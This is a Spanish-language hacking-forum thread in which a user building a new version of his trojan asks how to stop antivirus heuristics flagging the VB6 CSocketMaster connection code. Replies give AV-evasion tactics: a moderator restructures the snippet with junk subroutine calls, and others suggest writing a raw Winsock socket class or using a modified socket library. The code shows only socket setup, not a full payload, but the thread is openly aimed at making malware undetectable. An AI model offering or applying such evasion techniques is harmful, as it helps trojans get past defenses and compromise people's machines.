elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
23 Mayo 2012, 06:11  


Tema destacado: Grupo de Facebook de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Evasion de Heuristica en parte de codigo
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Evasion de Heuristica en parte de codigo  (Leído 1,297 veces)
50l3r


Desconectado Desconectado

Mensajes: 758


Todo lo que se por la cuarta parte que desconozco


Ver Perfil WWW
Evasion de Heuristica en parte de codigo
« en: 23 Febrero 2010, 22:11 »

Bueno, como sabran planeo crear una nueva version del dioxis, y la cosa va evolucionando a pesar de no tener nada de tiempo

Me he quedado estancado, en una parte, en la que para la nueva version quiero que sea especial que es la indetectabilidad, y es en esta parte del codigo

Código
'v-------------------------------------------------configurando las propiedades de conexion------------------------------------------------v
Set wsk = New Û 'Creamos un nuevo y unico csocket master por ahora
wsk.Protocol = sckTCPProtocol ' configuramos csocketmaster con protocolo tcp
wsk.RemoteHost = porciones(1) 'porciones(1)
wsk.RemotePort = porciones(3) 'porciones(3)
Timer1.Interval = porciones(2) 'porciones(2)
'^-------------------------------------------------configurando las propiedades de conexion------------------------------------------------^

La cosa es que no es por una linea determinada, lo que reflejan los analisis, si quito las definiciones del puerto, socket y demas, sigue detectandolo, si quito la definicion de un nuevo csocket master pero no lo otro, lo sigue detectando y si quito todo no se detecta

A dia de hoy es detectado por el Avira,a-squared e Ikarus

que puede ser? el motivo de la deteccion de heuristica
En línea

Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.189


Se siente observado ¬¬'


Ver Perfil
Re: Evasion de Heuristica en parte de codigo
« Respuesta #1 en: 23 Febrero 2010, 22:37 »

A ver... sin duda lo detecta porque TODOS (sino todos un 90%) los troyanos que hay liberados por ahi en VB utilizan CSM, y la forma de 'declararlo' es estatica... asi que hay es donde ponen su 'firma' :P

Forma de evadirlo... se me ocurre que marees un poquito la perdiz con un par de calls y subs basura... por ejemplo:
Código
sub A()
call B
end sub
sub B()
Set wsk = New Û 'Creamos un nuevo y unico csocket master por ahora
call C
wsk.Protocol = sckTCPProtocol ' configuramos csocketmaster con protocolo tcp
wsk.RemoteHost = porciones(1) 'porciones(1)
end sub
sub C()
wsk.RemotePort = porciones(3) 'porciones(3)
Timer1.Interval = porciones(2)
end sub
Algo asi :P

Puede que te funcione... no se... sino siempre puedes modifica el CSM o utilizar otro de los muchos que hay para manejar Sockets...
« Última modificación: 23 Febrero 2010, 22:39 por Karcrack » En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: Evasion de Heuristica en parte de codigo
« Respuesta #2 en: 23 Febrero 2010, 23:00 »

  O tambien podrias hacerte una clase socket desde cero con apis winsock  :P
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
50l3r


Desconectado Desconectado

Mensajes: 758


Todo lo que se por la cuarta parte que desconozco


Ver Perfil WWW
Re: Evasion de Heuristica en parte de codigo
« Respuesta #3 en: 23 Febrero 2010, 23:04 »

woaiba, eso es mucho para solo tener intencion de sacar una nueva version

parece ser que lo de marear la perdiz sigue sin dar frutos, se sigue detectando

algun metodo debe de haber mm habra que pensar
En línea

skapunky
Electronik Engineer &
CoAdmin
***
Desconectado Desconectado

Mensajes: 3.424



Ver Perfil WWW
Re: Evasion de Heuristica en parte de codigo
« Respuesta #4 en: 24 Febrero 2010, 01:53 »

Hace tiempo vi, un chico que modificó el CSM y no lo detectavan los antivírus, inlcuso he visto algúna modificación libre por internet.

La opción de re-programarlo no es mala, solo que aprovecha lo que existe, no empiezes de cero. Por otra parte, no entiendo como seguis haciendo este tipo de herramientas con visual basic...Delphi es mucho mucho mas facil y nadie es capaz de buscar info en internet (no lo digo por tí).

En fin, mejor que la gente que su maximo objetivo sea crear un troyano se quede con VB...Mejor para el que tendrá 3 millones de codigos de ejemplo y mejor para los demas ya que esos 3 millones de codigos ya son detectables.

Repito, no lo digo por tí, lo digo porque la gente suele tener la idea de hacer un troyano y va a por el VB directamente cuando es un lenguaje pésimo en el sentido de dependencias y en cuanto a la creación de malware.

si miran grupos conocidos de creadores de virus, verán que pocos utilizan VB...generalmente usan delphi,asm, C y algúno mas, se nota cuando alguien quiere algo rápido para joder al que lo hace para aprender,le guste o tenga algún objetivo en ello.
« Última modificación: 24 Febrero 2010, 01:59 por skapunky » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Firmas vinculadas a Google, investigadas por evasión fiscal
Noticias
wolfbcn 0 355 Último mensaje 1 Abril 2011, 13:45
por wolfbcn
Roban parte del código de productos de Norton
Noticias
wolfbcn 0 413 Último mensaje 7 Enero 2012, 02:11
por wolfbcn
Roban parte del código de VMware ESX
Noticias
wolfbcn 0 295 Último mensaje 27 Abril 2012, 17:34
por wolfbcn
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines